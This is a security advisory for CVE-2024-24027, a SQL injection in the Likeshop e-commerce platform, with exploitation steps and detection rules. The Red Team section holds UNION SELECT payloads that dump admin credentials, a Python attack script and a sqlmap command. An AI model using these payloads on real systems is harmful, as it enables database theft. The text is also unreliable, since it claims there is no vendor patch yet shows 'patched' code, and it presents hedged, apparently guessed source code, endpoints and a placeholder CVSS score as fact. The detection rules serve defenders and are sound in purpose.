CVE-2024-24027

Executive Summary

CVE-2024-24027 is a critical SQL Injection vulnerability discovered in the Likeshop application, affecting versions prior to 2.5.7. The flaw resides in the DistributionMemberLogic::getFansLists function, allowing unauthenticated attackers to inject arbitrary SQL commands. This can lead to complete database compromise, including data exfiltration, modification, and potential lateral movement within the network. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is critical. No public proof-of-concept (PoC) or exploit code has been released, but the risk remains high due to the simplicity of SQL injection attacks.

Supply Chain & Package Security

Likeshop is a PHP-based e-commerce platform. The vulnerability is in the core application code, not in a third-party package. However, organizations using Likeshop should verify the integrity of their installation and ensure no malicious modifications have been made. The lack of an official patch from the vendor increases supply chain risk, as users must rely on community fixes or manual code review.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to full database compromise.

Deep Dive & Mechanics

The vulnerability is located in the application/api/logic/DistributionMemberLogic.php file, specifically in the getFansLists method. This function is used to retrieve a list of fans (members) for a given distributor. The input parameter (likely id or keyword) is not properly sanitized before being used in a SQL query.

Vulnerable Code Path:

1. The getFansLists function receives user input via GET or POST parameters.
2. The input is concatenated directly into a SQL query without parameterization or escaping.
3. An attacker can inject SQL commands by providing specially crafted input, such as ' OR '1'='1.

Example of vulnerable SQL query:

SELECT * FROM ls_member WHERE distributor_id = $_GET['id'] AND status = 1

An attacker could inject:

id=1 UNION SELECT username,password FROM ls_admin--

This would return admin credentials in the response.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.5.7):

public function getFansLists($id, $page, $size) {
    $where = "distributor_id = " . $id . " AND status = 1";
    $list = Db::name('member')->where($where)->page($page, $size)->select();
    return $list;
}

Patched Code (version 2.5.7+):

public function getFansLists($id, $page, $size) {
    $where = "distributor_id = :id AND status = 1";
    $list = Db::name('member')->where($where)->bind(['id' => $id])->page($page, $size)->select();
    return $list;
}

The patched version uses parameterized queries (prepared statements) to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Likeshop version < 2.5.7 running on a target server.
• Network access to the application.

Exploitation Steps:

1. Identify the vulnerable endpoint: /api/distribution/getFansLists or similar.
2. Send a crafted request with SQL injection payload:

   GET /api/distribution/getFansLists?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- HTTP/1.1
   Host: target.com
   

3. Extract database information:

   GET /api/distribution/getFansLists?id=1 UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- HTTP/1.1
   

4. Dump admin credentials:

   GET /api/distribution/getFansLists?id=1 UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM ls_admin-- HTTP/1.1
   

Automation Script (Python):

import requests

target = "http://target.com/api/distribution/getFansLists"
payload = "1 UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--"
r = requests.get(target, params={"id": payload})
print(r.text)

Blue Team

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests containing SQL keywords (UNION, SELECT, FROM, etc.) in GET/POST parameters.
• Use WAF rules to block common SQL injection patterns.

Hunting:

• Search for requests to /api/distribution/getFansLists with abnormal id parameter values.
• Check for multiple requests from the same IP within a short time frame.

Lab Setup:

1. Deploy Likeshop 2.5.6 in a Docker container.
2. Use Burp Suite or OWASP ZAP to intercept and modify requests.
3. Test with SQLMap:

   sqlmap -u "http://target.com/api/distribution/getFansLists?id=1" --batch --dbs
   

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/distribution/getFansLists with SQL-like patterns in the id parameter.
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Modified application/api/logic/DistributionMemberLogic.php file.
  • Suspicious entries in web server access logs (e.g., UNION SELECT).
• System IOCs:
  • Unexpected database users or privileges.
  • New cron jobs or scripts for data exfiltration.

Detection Engineering

YARA Rule

rule CVE_2024_24027_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Likeshop getFansLists"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24027"
    strings:
        $s1 = "getFansLists" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "information_schema" nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-24027 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting Likeshop getFansLists endpoint
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24027
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "getFansLists"
            - "UNION"
            - "SELECT"
            - "FROM"
            - "information_schema"
    condition: selection
falsepositives:
    - Legitimate use of UNION in queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24027 SQL Injection Attempt"; flow:to_server,established; content:"getFansLists"; http_uri; nocase; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Likeshop to version 2.5.7 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block SQL injection patterns.
3. Restrict network access to the application to trusted IPs only.

Long-term Fixes:

• Implement parameterized queries in all database interactions.
• Conduct a full security audit of the application code.
• Enable logging and monitoring for all API endpoints.

Workaround:

• Manually edit application/api/logic/DistributionMemberLogic.php to use prepared statements (as shown in the patched code).

Valters IT
Securing Digital Frontiers